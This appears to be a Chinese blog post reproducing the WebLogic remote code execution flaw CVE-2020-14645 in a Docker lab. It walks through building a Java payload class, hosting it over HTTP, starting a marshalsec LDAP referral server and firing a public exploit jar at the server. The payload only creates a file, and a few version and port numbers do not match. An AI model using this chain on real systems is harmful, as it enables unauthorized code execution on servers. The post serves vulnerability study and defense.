Weblogic远程代码执行(CVE-2020-14645)

声明

好好学习,天天向上

漏洞描述

Weblogic是美国Oracle公司出品的一个Application Server,确切的说是一个基于JavaEE架构的中间件,Weblogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。

攻击者可利用该漏洞实现远程代码执行。该反序列化的gadget存在与coherence包中。编号CVE-2020-14645。

反序列化的对象,通过t3发送给weblogic即可。所以,这个只是生成payload的工具。

影响范围

Oracle Oracle WebLogic Server 10.3.6.0.0
Oracle WebLogic Server 12.2.1.4.0
Oracle WebLogic Server 12.2.1.3.0
Oracle WebLogic Server 12.1.3.0.0
Oracle WebLogic Server 14.1.1.0.0

复现过程

看公众号大佬搭建教程,在官网上下载12.2.1.4,在windows上用搭建了N次,都无法复现,心态都快崩了,然后看见docker上有资源,于是决定再试一试

这里使用12.1.4.0

docker镜像

https://hub.docker.com/r/z1du/weblogic12214jdk8u181

其实就是执行这条命令,镜像比较大,我百兆来来回回执行好几次命令,才成功

docker pull z1du/weblogic12214jdk8u181

拉取镜像后,模拟vulhub大佬,自己写docker-compose.yml文件,创建一个CVE-2020-14645文件夹,然后创建docker-compose.yml文件,内容为

version: '2'
services:
 weblogic:
   image: z1du/weblogic12214jdk8u181
   ports:
    - "7001:7001"

执行

docker-compose up -d

这里有个小插曲,头一次自己写docker-compose,心里没底,然后执行完启动命令后,报错,后背冒冷汗,不过仔细一看错误,端口占用,立马查看有没有别的镜像在使用7001,一看果然,vulhub上有个忘记down,真不是好习惯,关闭这个后,再次up,正常启动

在这里插入图片描述

访问如下地址,即可

http://192.168.239.129:7001/console

开始攻击

创建名字为exp.java

public class exp{
    public exp(){
        try {
            Runtime.getRuntime().exec("touch /tmp/cve-2020-14645");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        exp e = new exp();
    }
}

可以看到我以前复现失败的痕迹,想起了以前的点点滴滴

在这里插入图片描述

创建好后,进行编译

javac exp.java

安装marshalsec,mvn也是需要安装的,不过这个很简单,和java一模一样,我一般一次编译好,打成jar后,后面哪个漏洞需要复现直接拷贝jar

git clone https://github.com/mbechler/marshalsec.git

cd marshalsec

mvn clean package -DskipTests

这一步等了太久久久久了,我这下载一大堆东西

在这里插入图片描述

接着,使用python启动http服务器,并将exp.class放入站点根目录(我这边指定5001端口)

python3 -m http.server 5001

在这里插入图片描述

启动ldap服务,细心的你,不要把IP或者文件路径给搞错了哦,注意修改IP,还有进到marshalsec.jar的目录再执行,要不然会报找不到类

java -cp ./marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.239.139:5001/#exp 1099

在这里插入图片描述

使用CVE-2020-14645漏洞验证工具

https://github.com/ChenZIDu/CVE-2020-14645
git clone https://github.com/ChenZIDu/CVE-2020-14645

cd CVE-2020-14645

java -jar CVE-2020-14645.jar 192.168.239.139:1009/#exp http://192.168.239.170:7001

在这里插入图片描述

进入docker,可看到命令已执行

在这里插入图片描述

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值